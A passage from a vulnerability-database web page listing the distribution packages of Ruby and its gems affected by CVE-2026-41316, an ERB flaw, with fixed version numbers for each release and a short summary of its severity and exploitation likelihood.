 before 0:3.0.0-166.el9_7
0:3.0.0-166.el9_7
rubygem-bundler
Red Hat:enterprise_linux:9::appstream
 before 0:2.2.33-166.el9_7
0:2.2.33-166.el9_7
rubygem-io-console
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.7-166.el9_7
0:0.5.7-166.el9_7
rubygem-io-console-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:0.5.7-166.el9_7
0:0.5.7-166.el9_7
rubygem-irb
Red Hat:enterprise_linux:9::appstream
 before 0:1.3.5-166.el9_7
0:1.3.5-166.el9_7
rubygem-json
Red Hat:enterprise_linux:9::appstream
 before 0:2.5.1-166.el9_7
0:2.5.1-166.el9_7
rubygem-json-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:2.5.1-166.el9_7
0:2.5.1-166.el9_7
rubygem-minitest
Red Hat:enterprise_linux:9::appstream
 before 0:5.14.2-166.el9_7
0:5.14.2-166.el9_7
rubygem-power_assert
Red Hat:enterprise_linux:9::appstream
 before 0:1.2.1-166.el9_7
0:1.2.1-166.el9_7
rubygem-psych
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.2-166.el9_7
0:3.3.2-166.el9_7
rubygem-psych-debuginfo
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.2-166.el9_7
0:3.3.2-166.el9_7
rubygem-rake
Red Hat:enterprise_linux:9::appstream
 before 0:13.0.3-166.el9_7
0:13.0.3-166.el9_7
rubygem-rbs
Red Hat:enterprise_linux:9::appstream
 before 0:1.4.0-166.el9_7
0:1.4.0-166.el9_7
rubygem-rdoc
Red Hat:enterprise_linux:9::appstream
 before 0:6.3.4.1-166.el9_7
0:6.3.4.1-166.el9_7
rubygem-rexml
Red Hat:enterprise_linux:9::appstream
 before 0:3.2.5-166.el9_7
0:3.2.5-166.el9_7
rubygem-rss
Red Hat:enterprise_linux:9::appstream
 before 0:0.2.9-166.el9_7
0:0.2.9-166.el9_7
rubygem-test-unit
Red Hat:enterprise_linux:9::appstream
 before 0:3.3.7-166.el9_7
0:3.3.7-166.el9_7
rubygem-typeprof
Red Hat:enterprise_linux:9::appstream
 before 0:0.15.2-166.el9_7
0:0.15.2-166.el9_7
rubygems
Red Hat:enterprise_linux:9::appstream
 before 0:3.2.33-166.el9_7
0:3.2.33-166.el9_7
rubygems-devel
Red Hat:enterprise_linux:9::appstream
 before 0:3.2.33-166.el9_7
0:3.2.33-166.el9_7
ruby-doc
Red Hat:enterprise_linux:9::crb
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-bundled-gems
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-bundled-gems-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-debugsource
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-default-gems
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-devel
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-libs
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
ruby-libs-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
rubygem-bigdecimal
Red Hat:enterprise_linux:10.1
 before 0:3.1.5-12.el10_1
0:3.1.5-12.el10_1
rubygem-bigdecimal-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:3.1.5-12.el10_1
0:3.1.5-12.el10_1
rubygem-bundler
Red Hat:enterprise_linux:10.1
 before 0:2.5.22-12.el10_1
0:2.5.22-12.el10_1
rubygem-io-console
Red Hat:enterprise_linux:10.1
 before 0:0.7.1-12.el10_1
0:0.7.1-12.el10_1
rubygem-io-console-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:0.7.1-12.el10_1
0:0.7.1-12.el10_1
rubygem-irb
Red Hat:enterprise_linux:10.1
 before 0:1.13.1-12.el10_1
0:1.13.1-12.el10_1
rubygem-json
Red Hat:enterprise_linux:10.1
 before 0:2.7.2-12.el10_1
0:2.7.2-12.el10_1
rubygem-json-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:2.7.2-12.el10_1
0:2.7.2-12.el10_1
rubygem-minitest
Red Hat:enterprise_linux:10.1
 before 0:5.20.0-12.el10_1
0:5.20.0-12.el10_1
rubygem-power_assert
Red Hat:enterprise_linux:10.1
 before 0:2.0.3-12.el10_1
0:2.0.3-12.el10_1
rubygem-psych
Red Hat:enterprise_linux:10.1
 before 0:5.1.2-12.el10_1
0:5.1.2-12.el10_1
rubygem-psych-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:5.1.2-12.el10_1
0:5.1.2-12.el10_1
rubygem-racc
Red Hat:enterprise_linux:10.1
 before 0:1.7.3-12.el10_1
0:1.7.3-12.el10_1
rubygem-racc-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:1.7.3-12.el10_1
0:1.7.3-12.el10_1
rubygem-rake
Red Hat:enterprise_linux:10.1
 before 0:13.1.0-12.el10_1
0:13.1.0-12.el10_1
rubygem-rbs
Red Hat:enterprise_linux:10.1
 before 0:3.4.0-12.el10_1
0:3.4.0-12.el10_1
rubygem-rbs-debuginfo
Red Hat:enterprise_linux:10.1
 before 0:3.4.0-12.el10_1
0:3.4.0-12.el10_1
rubygem-rdoc
Red Hat:enterprise_linux:10.1
 before 0:6.6.3.1-12.el10_1
0:6.6.3.1-12.el10_1
rubygem-rexml
Red Hat:enterprise_linux:10.1
 before 0:3.4.4-12.el10_1
0:3.4.4-12.el10_1
rubygem-rss
Red Hat:enterprise_linux:10.1
 before 0:0.3.1-12.el10_1
0:0.3.1-12.el10_1
rubygem-mysql2
Rocky Linux:9
 before 0:0.5.5-3.module+el9.7.0+40032+36e56d0d
0:0.5.5-3.module+el9.7.0+40032+36e56d0d
ruby
Rocky Linux:9
 before 0:3.0.7-166.el9_7
0:3.0.7-166.el9_7
ruby
Rocky Linux:10
 before 0:3.3.10-12.el10_1
0:3.3.10-12.el10_1
rubygem-mysql2
Rocky Linux:9
From an advisory covering 2 CVEs
 before 0:0.5.7-1.module+el9.8.0+40094+ce01217c
0:0.5.7-1.module+el9.8.0+40094+ce01217c
rubygem-pg
Rocky Linux:9
From an advisory covering 2 CVEs
 before 0:1.6.3-1.module+el9.8.0+40094+ce01217c
0:1.6.3-1.module+el9.8.0+40094+ce01217c
ruby4.0
Rocky Linux:10
From an advisory covering 2 CVEs
 before 0:4.0.3-34.el10_2
0:4.0.3-34.el10_2
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.10.0+1679+61871737
0:0.4.0-1.module+el8.10.0+1679+61871737
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.10.0+1741+bdb5b6ca
0:0.4.0-1.module+el8.10.0+1741+bdb5b6ca
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.10.0+1820+f3fffb92
0:0.4.0-1.module+el8.10.0+1820+f3fffb92
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.10.0+1826+b62220b4
0:0.4.0-1.module+el8.10.0+1826+b62220b4
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.5.0+668+665814fa
0:0.4.0-1.module+el8.5.0+668+665814fa
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.10.0+1827+16ecb9d2
0:0.4.0-1.module+el8.10.0+1827+16ecb9d2
rubygem-abrt
Rocky Linux:8
 before 0:0.4.0-1.module+el8.9.0+1537+0b2034bd
0:0.4.0-1.module+el8.9.0+1537+0b2034bd
rubygem-mysql2
Rocky Linux:8
 before 0:0.5.5-1.module+el8.10.0+1679+61871737
0:0.5.5-1.module+el8.10.0+1679+61871737
rubygem-mysql2
Rocky Linux:8
 before 0:0.5.5-1.module+el8.10.0+1827+16ecb9d2
0:0.5.5-1.module+el8.10.0+1827+16ecb9d2
rubygem-pg
Rocky Linux:8
 before 0:1.5.4-1.module+el8.10.0+1679+61871737
0:1.5.4-1.module+el8.10.0+1679+61871737
rubygem-pg
Rocky Linux:8
 before 0:1.5.4-1.module+el8.10.0+1827+16ecb9d2
0:1.5.4-1.module+el8.10.0+1827+16ecb9d2
erb
Root:Ruby
 before 4.0.2.41610.1
4.0.2.41610.1
ruby2.5
SUSE:Linux Enterprise Module for Basesystem 15 SP7
 before 2.5.9-150700.24.11.1
2.5.9-150700.24.11.1
jruby
Ubuntu:Pro:14.04:LTS
 All versions, plus listed versions
1.5.6-5ubuntu11.5.6-61.5.6-71.5.6-9+deb8u2build0.14.04.1~esm2
 None known
ruby2.3
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
2.3.0-12.3.0-22.3.0-4ubuntu22.3.0-4ubuntu32.3.0-5ubuntu1
Show 28 moreShow less
2.3.1-2~16.042.3.1-2~16.04.22.3.1-2~16.04.42.3.1-2~16.04.52.3.1-2~16.04.62.3.1-2~16.04.72.3.1-2~16.04.92.3.1-2~16.04.102.3.1-2~16.04.112.3.1-2~16.04.122.3.1-2~ubuntu16.04.132.3.1-2~ubuntu16.04.142.3.1-2~ubuntu16.04.152.3.1-2~ubuntu16.04.162.3.1-2~ubuntu16.04.16+esm12.3.1-2~ubuntu16.04.16+esm22.3.1-2~ubuntu16.04.16+esm32.3.1-2~ubuntu16.04.16+esm42.3.1-2~ubuntu16.04.16+esm52.3.1-2~ubuntu16.04.16+esm62.3.1-2~ubuntu16.04.16+esm72.3.1-2~ubuntu16.04.16+esm82.3.1-2~ubuntu16.04.16+esm92.3.1-2~ubuntu16.04.16+esm102.3.1-2~ubuntu16.04.16+esm112.3.1-2~ubuntu16.04.16+esm122.3.1-2~ubuntu16.04.16+esm142.3.1-2~ubuntu16.04.16+esm15
 None known
jruby
Ubuntu:16.04:LTS
 All versions, plus listed versions
1.7.21-2ubuntu41.7.22-1ubuntu1
 None known
ruby2.5
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
2.5.0~preview1-1ubuntu22.5.0-4ubuntu12.5.0-4ubuntu42.5.0-5ubuntu12.5.0-6ubuntu1
Show 23 moreShow less
2.5.1-1ubuntu12.5.1-1ubuntu1.12.5.1-1ubuntu1.22.5.1-1ubuntu1.42.5.1-1ubuntu1.52.5.1-1ubuntu1.62.5.1-1ubuntu1.72.5.1-1ubuntu1.82.5.1-1ubuntu1.92.5.1-1ubuntu1.102.5.1-1ubuntu1.112.5.1-1ubuntu1.122.5.1-1ubuntu1.132.5.1-1ubuntu1.142.5.1-1ubuntu1.152.5.1-1ubuntu1.162.5.1-1ubuntu1.16+esm12.5.1-1ubuntu1.16+esm32.5.1-1ubuntu1.16+esm42.5.1-1ubuntu1.16+esm52.5.1-1ubuntu1.16+esm62.5.1-1ubuntu1.16+esm72.5.1-1ubuntu1.16+esm8
 None known
jruby
Ubuntu:18.04:LTS
 All versions, plus listed versions
9.1.13.0-19.1.17.0-1~18.04
 None known
ruby2.7
Ubuntu:Pro:20.04:LTS
 All versions, plus listed versions
2.7.0-12.7.0-22.7.0-32.7.0-42.7.0-4ubuntu1
Show 23 moreShow less
2.7.0-5ubuntu12.7.0-5ubuntu1.12.7.0-5ubuntu1.22.7.0-5ubuntu1.32.7.0-5ubuntu1.42.7.0-5ubuntu1.52.7.0-5ubuntu1.62.7.0-5ubuntu1.72.7.0-5ubuntu1.82.7.0-5ubuntu1.92.7.0-5ubuntu1.102.7.0-5ubuntu1.112.7.0-5ubuntu1.122.7.0-5ubuntu1.132.7.0-5ubuntu1.142.7.0-5ubuntu1.152.7.0-5ubuntu1.162.7.0-5ubuntu1.172.7.0-5ubuntu1.182.7.0-5ubuntu1.18+esm12.7.0-5ubuntu1.18+esm32.7.0-5ubuntu1.18+esm42.7.0-5ubuntu1.18+esm5
 None known
jruby
Ubuntu:20.04:LTS
 All versions, plus listed versions
9.1.17.0-39.1.17.0-3build59.1.17.0-3build6
 None known
ruby3.0
Ubuntu:22.04:LTS
 All versions, plus listed versions
3.0.2-5ubuntu13.0.2-73.0.2-7ubuntu23.0.2-7ubuntu2.13.0.2-7ubuntu2.2
Show 10 moreShow less
3.0.2-7ubuntu2.33.0.2-7ubuntu2.43.0.2-7ubuntu2.53.0.2-7ubuntu2.63.0.2-7ubuntu2.73.0.2-7ubuntu2.83.0.2-7ubuntu2.103.0.2-7ubuntu2.113.0.2-7ubuntu2.123.0.2-7ubuntu2.13
 None known
ruby3.2
Ubuntu:24.04:LTS
 All versions, plus listed versions
3.2.3-13.2.3-1build23.2.3-1build33.2.3-1ubuntu0.24.04.13.2.3-1ubuntu0.24.04.3
Show 4 moreShow less
3.2.3-1ubuntu0.24.04.53.2.3-1ubuntu0.24.04.63.2.3-1ubuntu0.24.04.73.2.3-1ubuntu0.24.04.8
 None known
jruby
Ubuntu:25.10
 All versions, plus listed versions
9.4.8.0+ds-2ubuntu19.4.8.0+ds-3ubuntu1
 None known
ruby3.3
Ubuntu:25.10
 All versions, plus listed versions
3.3.7-1ubuntu23.3.8-2ubuntu13.3.8-2ubuntu23.3.8-2ubuntu2.1
 None known
jruby
Ubuntu:26.10
 All versions, plus listed versions
9.4.8.0+ds-3ubuntu19.4.14.0+ds-1
 None known
ruby3.3
Ubuntu:26.10
 All versions, plus listed versions
3.3.8-2ubuntu33.3.8-2.2ubuntu4
 None known
jruby
Ubuntu:26.04:LTS
 All versions, plus listed versions
9.4.8.0+ds-3ubuntu1
 None known
ruby3.3
Ubuntu:26.04:LTS
 All versions, plus listed versions
3.3.8-2ubuntu23.3.8-2ubuntu33.3.8-2ubuntu3.1
 None known
ruby4.0
openSUSE:Tumbleweed
 before 4.0.3-1.1
4.0.3-1.1
ruby3.4
openSUSE:Leap 16.0
From an advisory covering 8 CVEs
 before 3.4.10-160000.1.1
3.4.10-160000.1.1

History

History
RecordedChangedSources
affectedOSV
affectedOSV
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41316 is a high vulnerability (CVSS 8.1) in Ruby Erb, published April 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. Fixed in erb 4.0.3.1.

References

Show 101 moreShow less
This page doesn't list everything

Left out here: 358 package rows and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open